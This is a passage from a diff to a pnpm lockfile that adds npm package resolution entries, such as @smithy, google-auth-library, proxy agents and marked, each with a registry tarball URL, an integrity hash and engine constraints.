sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==, tarball: https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz} + + '@protobufjs/path@1.1.2': + resolution: {integrity: sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==, tarball: https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz} + + '@protobufjs/pool@1.1.0': + resolution: {integrity: sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==, tarball: https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz} + + '@protobufjs/utf8@1.1.2': + resolution: {integrity: sha512-b1UQwcEZ4yCnMCD8DAL1VlbvBJE9/IX4FTIp7BG1xYpf29SLazLSrqUkj4w7Y5y7cCVP6E5tcqqcI0xemPkHug==, tarball: https://registry.npmjs.org/@protobufjs/utf8/-/utf8-1.1.2.tgz} + '@quilted/events@2.1.3': resolution: {integrity: sha512-4fHaSLND8rmZ+tce9/4FNmG5UWTRpFtM54kOekf3tLON4ZLLnYzjjldELD35efd7+lT5+E3cdkacqc56d+kCrQ==, tarball: https://registry.npmjs.org/@quilted/events/-/events-2.1.3.tgz} engines: {node: '>=14.0.0'} @@ -2536,9 +2698,43 @@ packages: cpu: [x64] os: [win32] + '@silvia-odwyer/photon-node@0.3.4': + resolution: {integrity: sha512-bnly4BKB3KDTFxrUIcgCLbaeVVS8lrAkri1pEzskpmxu9MdfGQTy8b8EgcD83ywD3RPMsIulY8xJH5Awa+t9fA==, tarball: https://registry.npmjs.org/@silvia-odwyer/photon-node/-/photon-node-0.3.4.tgz} + + '@smithy/core@3.37.0': + resolution: {integrity: sha512-97imTcCyiPd8k0e9+ts/Sp0W65Dn9Ti357J7M09Ov4tI8Q1JDJVFSoAJtjEVKqfHEr3Pdo2jfolqKCaaiszH0g==, tarball: https://registry.npmjs.org/@smithy/core/-/core-3.37.0.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/credential-provider-imds@4.5.2': + resolution: {integrity: sha512-A9uSdn72ozbRUSit0eib0TW7nXuNPlaeM0zcGkJ+nE6tFcSDbnmtwoxbTCFBukVQcszDAyvsd7+rTduPTXpygg==, tarball: https://registry.npmjs.org/@smithy/credential-provider-imds/-/credential-provider-imds-4.5.2.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/fetch-http-handler@5.8.0': + resolution: {integrity: sha512-ycSJu3tFAQ4v04CBB0agqFMVsSQ1iG3yw+SpgxRqKfaURpQD4CZ8Wn0zPMmSnOuTpTh65Vz+EA0rMrw089wvkA==, tarball: https://registry.npmjs.org/@smithy/fetch-http-handler/-/fetch-http-handler-5.8.0.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/node-http-handler@4.12.1': + resolution: {integrity: sha512-ThMkboGeONWXAelq9FvGsuJC4rOi+qyC4/zhUF58xYpxUg5sQKx2VXZYJmtNjr4dSuBJ1HeJXETQILCz3wOHvw==, tarball: https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.12.1.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/node-http-handler@4.13.0': + resolution: {integrity: sha512-/GGcPoNJ2nzGytdAanpbx7mpp9Coa8LP+/Rpmbktr8YeLuIXs9B0SEz+X3AeonHdyzOIFJdKbN7jOZ+Tj+pMGw==, tarball: https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.13.0.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/signature-v4@5.7.4': + resolution: {integrity: sha512-tHy0K0VtqNd5Y7Y41h0a0Lhh0L1GzC08dTWg0F7vRJWFtTENg7IZikf3wQkanYIRdb7ngoIPMTmqgUi401fEeQ==, tarball: https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.7.4.tgz} + engines: {node: '>=18.0.0'} + + '@smithy/types@4.19.0': + resolution: {integrity: sha512-r7jh49VJxGerfAcTQA6gXcKc+98zOp/tqRwzYjgOE+iSQsP6cEU1hq2QzbuipmP68QtYdY9wKEhiCQZIzHgZ4Q==, tarball: https://registry.npmjs.org/@smithy/types/-/types-4.19.0.tgz} + engines: {node: '>=18.0.0'} + '@socket.io/component-emitter@3.1.2': resolution: {integrity: sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==, tarball: https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz} + '@stablelib/base64@1.0.1': + resolution: {integrity: sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==, tarball: https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz} + '@tailwindcss/node@4.3.0': resolution: {integrity: sha512-aFb4gUhFOgdh9AXo4IzBEOzBkkAxm9VigwDJnMIYv3lcfXCJVesNfbEaBl4BNgVRyid92AmdviqwBUBRKSeY3g==, tarball: https://registry.npmjs.org/@tailwindcss/node/-/node-4.3.0.tgz} @@ -2821,6 +3017,9 @@ packages: '@types/react@19.2.15': resolution: {integrity: sha512-eRwcGNHve+E8qtEQSSRl6urh+rFop4v8gm6O8rGv25CodbvFdLjA1vVQ1KkiFE0w0UPOnb8tDiFKL5lp0rtY5Q==, tarball: https://registry.npmjs.org/@types/react/-/react-19.2.15.tgz} + '@types/retry@0.12.0': + resolution: {integrity: sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==, tarball: https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz} + '@types/send@1.2.1': resolution: {integrity: sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==, tarball: https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz} @@ -2929,6 +3128,14 @@ packages: engines: {node: '>=0.4.0'} hasBin: true + agent-base@7.1.4: + resolution: {integrity: sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==, tarball: https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz} + engines: {node: '>= 14'} + + agent-base@9.0.0: + resolution: {integrity: sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==, tarball: https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz} + engines: {node: '>= 20'} + ajv@6.15.0: resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==, tarball: https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz} @@ -2968,6 +3175,9 @@ packages: resolution: {integrity: sha512-CyzaZRQKyHkB2ZInfTTl2nvT33EbDpjkLEbE8/Zck3Ll6O0qqvuGdrJ45HgtH+HykRg88ITY3AdreBGN70aBSQ==, tarball: https://registry.npmjs.org/better-sqlite3/-/better-sqlite3-12.10.0.tgz} engines: {node: 20.x || 22.x || 23.x || 24.x || 25.x || 26.x} + bignumber.js@9.3.1: + resolution: {integrity: sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==, tarball: https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz} + bindings@1.5.0: resolution: {integrity: sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==, tarball: https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz} @@ -2978,6 +3188,13 @@ packages: resolution: {integrity: sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==, tarball: https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz} engines: {node: '>=18'} + bowser@2.15.0: + resolution: {integrity: sha512-xic6KSZglg/I4ymp45fdM4GWfYpBK79Fxd/TOvJktlaPgQqqDxvmGwOPZl2V0dyeS3Lj5c180bLhXF43iyAjZQ==, tarball: https://registry.npmjs.org/bowser/-/bowser-2.15.0.tgz} + + brace-expansion@5.0.12: + resolution: {integrity: sha512-YovQ3rzhaLMIrDjNDMkNS01tea93qhEhG5xy8f6+R0l+dw3Ki+5sCoIoI942iuLZTHWogWktgwVDhU09iNEimQ==, tarball: https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.12.tgz} + engines: {node: 20 || >=22} + brace-expansion@5.0.6: resolution: {integrity: sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==, tarball: https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.6.tgz} engines: {node: 18 || 20 || >=22} @@ -2987,6 +3204,9 @@ packages: engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true + buffer-equal-constant-time@1.0.1: + resolution: {integrity: sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==, tarball: https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz} + buffer-from@1.1.2: resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==, tarball: https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz} @@ -3029,6 +3249,10 @@ packages: ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==, tarball: https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz} + chalk@6.0.0: + resolution: {integrity: sha512-2uNTXIuTTxk7ciZgAU1BQcgnchcG0xXnrs6jzkQfj9SsRa9M2s5zE8WT96hS6KmG4MzWHSrvH43DF1m4XRkrFg==, tarball: https://registry.npmjs.org/chalk/-/chalk-6.0.0.tgz} + engines: {node: '>=22'} + character-entities-html4@2.1.0: resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==, tarball: https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz} @@ -3114,6 +3338,10 @@ packages: csstype@3.2.3: resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==, tarball: https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz} + data-uri-to-buffer@4.0.1: + resolution: {integrity: sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==, tarball: https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz} + engines: {node: '>= 12'} + debug@4.4.3: resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==, tarball: https://registry.npmjs.org/debug/-/debug-4.4.3.tgz} engines: {node: '>=6.0'} @@ -3167,6 +3395,10 @@ packages: devlop@1.1.0: resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==, tarball: https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz} + diff@8.0.4: + resolution: {integrity: sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==, tarball: https://registry.npmjs.org/diff/-/diff-8.0.4.tgz} + engines: {node: '>=0.3.1'} + drizzle-kit@0.31.10: resolution: {integrity: sha512-7OZcmQUrdGI+DUNNsKBn1aW8qSoKuTH7d0mYgSP8bAzdFzKoovxEFnoGQp2dVs82EOJeYycqRtciopszwUf8bw==, tarball: https://registry.npmjs.org/drizzle-kit/-/drizzle-kit-0.31.10.tgz} hasBin: true @@ -3267,6 +3499,9 @@ packages: resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==, tarball: https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz} engines: {node: '>= 0.4'} + ecdsa-sig-formatter@1.0.11: + resolution: {integrity: sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==, tarball: https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz} + ee-first@1.1.1: resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==, tarball: https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz} @@ -3427,6 +3662,9 @@ packages: fast-levenshtein@2.0.6: resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==, tarball: https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz} + fast-sha256@1.3.0: + resolution: {integrity: sha512-n11RGP/lrWEFI/bWdygLxhI+pVeo1ZYIVwvvPkW7azl/rOy+F3HYRZ2K5zeE9mmkhQppyv9sQFx0JM9UabnpPQ==, tarball: https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz} + fdir@6.5.0: resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==, tarball: https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz} engines: {node: '>=12.0.0'} @@ -3436,6 +3674,10 @@ packages: picomatch: optional: true + fetch-blob@3.2.0: + resolution: {integrity: sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==, tarball: https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz} + engines: {node: ^12.20 || >= 14.13} + fflate@0.8.3: resolution: {integrity: sha512-tbZNuJrLwGUp3zshBtdy4W+ORxZuIh8a5ilyIEQDC5rY1f3U20JMry0Ll3WBzU58EZKsEuJFXhb5gwv8CsPvgA==} @@ -3464,6 +3706,10 @@ packages: flatted@3.4.2: resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==, tarball: https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz} + formdata-polyfill@4.0.10: + resolution: {integrity: sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==, tarball: https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz} + engines: {node: '>=12.20.0'} + forwarded@0.2.0: resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==, tarball: https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz} engines: {node: '>= 0.6'} @@ -3487,10 +3733,22 @@ packages: function-bind@1.1.2: resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==, tarball: https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz} + gaxios@7.3.1: + resolution: {integrity: sha512-kB3rzJV7d9juLZh8/56QTXCwQfxyhdOMdyYk1HdQKFtF8TJTDTZQJtixWIwXdE9Jji91mC41DUNpjleo4L4eAQ==, tarball: https://registry.npmjs.org/gaxios/-/gaxios-7.3.1.tgz} + engines: {node: '>=18'} + + gcp-metadata@8.1.2: + resolution: {integrity: sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==, tarball: https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz} + engines: {node: '>=18'} + gensync@1.0.0-beta.2: resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==, tarball: https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz} engines: {node: '>=6.9.0'} + get-east-asian-width@1.6.0: + resolution: {integrity: sha512-QRbvDIbx6YklUe6RxeTeleMR0yv3cYH6PsPZHcnVn7xv7zO1BHN8r0XETu8n6Ye3Q+ahtSarc3WgtNWmehIBfA==, tarball: https://registry.npmjs.org/get-east-asian-width/-/get-east-asian-width-1.6.0.tgz} + engines: {node: '>=18'} + get-intrinsic@1.3.0: resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==, tarball: https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz} engines: {node: '>= 0.4'} @@ -3522,6 +3780,14 @@ packages: peerDependencies: csstype: ^3.0.10 + google-auth-library@10.9.1: + resolution: {integrity: sha512-i1ydyHrqcIxXkWh/uBmVkzCvIuq5yiK2ATndIe5XxKholrG/MTYP9xGYka4sQhrbIAgGjL2B6NOE7rFaiF3fXw==, tarball: https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.9.1.tgz} + engines: {node: '>=18'} + + google-logging-utils@1.1.3: + resolution: {integrity: sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==, tarball: https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz} + engines: {node: '>=14'} + gopd@1.2.0: resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==, tarball: https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz} engines: {node: '>= 0.4'} @@ -3529,6 +3795,10 @@ packages: graceful-fs@4.2.11: resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==, tarball: https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz} + grok-mermaid@0.2.3: + resolution: {integrity: sha512-/4KopAbsjvuRP9MdPtlDjOHUmUVEohOX73JNcsWpzAtFxh+bq5+Dhb6gzvRieLDwIPQIR3/vy8V1NNTuz4Zsmg==, tarball: https://registry.npmjs.org/grok-mermaid/-/grok-mermaid-0.2.3.tgz} + engines: {node: '>=18'} + has-symbols@1.1.0: resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==, tarball: https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz} engines: {node: '>= 0.4'} @@ -3549,6 +3819,13 @@ packages: hermes-parser@0.25.1: resolution: {integrity: sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==, tarball: https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz} + highlight.js@10.7.3: + resolution: {integrity: sha512-tzcUFauisWKNHaRkN4Wjl/ZA07gENAjFl3J/c480dprkGTg5EQstgaNFqBfUqCq54kZRIEcreTsAgF/m2quD7A==, tarball: https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.3.tgz} + + hosted-git-info@9.0.3: + resolution: {integrity: sha512-Hc+ghLoSt6QaYZUv0WBiIvmMDZuZZ7oaDvdH8MbfOO4lOsxdXLEvuC6ePoGs9H1X9oCLyq6+NVN0MKqD+ydxyg==, tarball: https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-9.0.3.tgz} + engines: {node: ^20.17.0 || >=22.9.0} + htm@3.1.1: resolution: {integrity: sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==, tarball: https://registry.npmjs.org/htm/-/htm-3.1.1.tgz} @@ -3559,6 +3836,18 @@ packages: resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==, tarball: https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz} engines: {node: '>= 0.8'} + http-proxy-agent@9.1.0: + resolution: {integrity: sha512-2NxoveTT58mjYT4n3RPTEfCZGLMbidoO8XEieXfpSYxu+PQJ1qpx4ypwH6N+uF9twBPIvRRgvkvW5HUTYWENig==, tarball: https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-9.1.0.tgz} + engines: {node: '>= 20'} + + https-proxy-agent@7.0.6: + resolution: {integrity: sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==, tarball: https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz} + engines: {node: '>= 14'} + + https-proxy-agent@9.1.0: + resolution: {integrity: sha512-ag87y7cJJ9/3+GxFr8Oy4O5faDsGRGnBGsJj/YjOSsSx/5eadKLYTMPlzuR6obgoCDDm0abAAZitXXQkMOPSpA==, tarball: https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.1.0.tgz} + engines: {node: '>= 20'} + iconv-lite@0.7.2: resolution: {integrity: sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==, tarball: https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz} engines: {node: '>=0.10.0'} @@ -3574,6 +3863,10 @@ packages: resolution: {integrity: sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==, tarball: https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz} engines: {node: '>= 4'} + ignore@7.0.8: + resolution: {integrity: sha512-YYNsSlXBjMk92SKnkwvB5LOVSa6OznlFUGcsvrFgNJbJCd0M1XKeFVRc8ZByeCqz32FivYNHJVooLmdqrmvp/Q==, tarball: https://registry.npmjs.org/ignore/-/ignore-7.0.8.tgz} + engines: {node: '>= 4'} + imurmurhash@0.1.4: resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==, tarball: https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz} engines: {node: '>=0.8.19'} @@ -3662,9 +3955,16 @@ packages: engines: {node: '>=6'} hasBin: true + json-bigint@1.0.0: + resolution: {integrity: sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==, tarball: https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz} + json-buffer@3.0.1: resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==, tarball: https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz} + json-schema-to-ts@3.1.1: + resolution: {integrity: sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==, tarball: https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz} + engines: {node: '>=16'} + json-schema-traverse@0.4.1: resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==, tarball: https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz} @@ -3676,6 +3976,12 @@ packages: engines: {node: '>=6'} hasBin: true + jwa@2.0.1: + resolution: {integrity: sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==, tarball: https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz} + + jws@4.0.1: + resolution: {integrity: sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==, tarball: https://registry.npmjs.org/jws/-/jws-4.0.1.tgz} + keyv@4.5.4: resolution: {integrity: sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==, tarball: https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz} @@ -3772,9 +4078,16 @@ packages: resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==, tarball: https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz} engines: {node: '>=10'} + long@5.3.2: + resolution: {integrity: sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==, tarball: https://registry.npmjs.org/long/-/long-5.3.2.tgz} + longest-streak@3.1.0: resolution: {integrity: sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==, tarball: https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz} + lru-cache@11.5.3: + resolution: {integrity: sha512-U4N8FgzmWxc8k1VH8Kr6lQg18U7Fjvby6wXHVRX/ZZ7IwWbRMgrRbP0Wrb5q5NVinryp4SQampHKdvtecItxUg==, tarball: https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.3.tgz} + engines: {node: 20 || >=22} + lru-cache@5.1.1: resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==, tarball: https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz} @@ -3789,6 +4102,17 @@ packages: markdown-table@3.0.4: resolution: {integrity: sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==, tarball: https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz} + marked-cjk-friendly@0.1.2: + resolution: {integrity: sha512-GUj8HjiEbur9yhgUo52FBgKizggF1QtT6gVdrYdWW6ZB4lVVjgS3EyyXPyfyRD0V4ghGRPlO7MO80rgSWbm0eA==, tarball: https://registry.npmjs.org/marked-cjk-friendly/-/marked-cjk-friendly-0.1.2.tgz} + engines: {node: '>=18'} + peerDependencies: + marked: '>=15.0.0' + + marked@18.0.11: + resolution: {integrity: sha512-HnslJfsZkRPBDJRHvVtAaWlZHEpSu7u8LgQuJCELjRKuWR+hpq4A7sLq3p8HaI9ypVoXDXxV34CsQJEe1+J5Aw==, tarball: 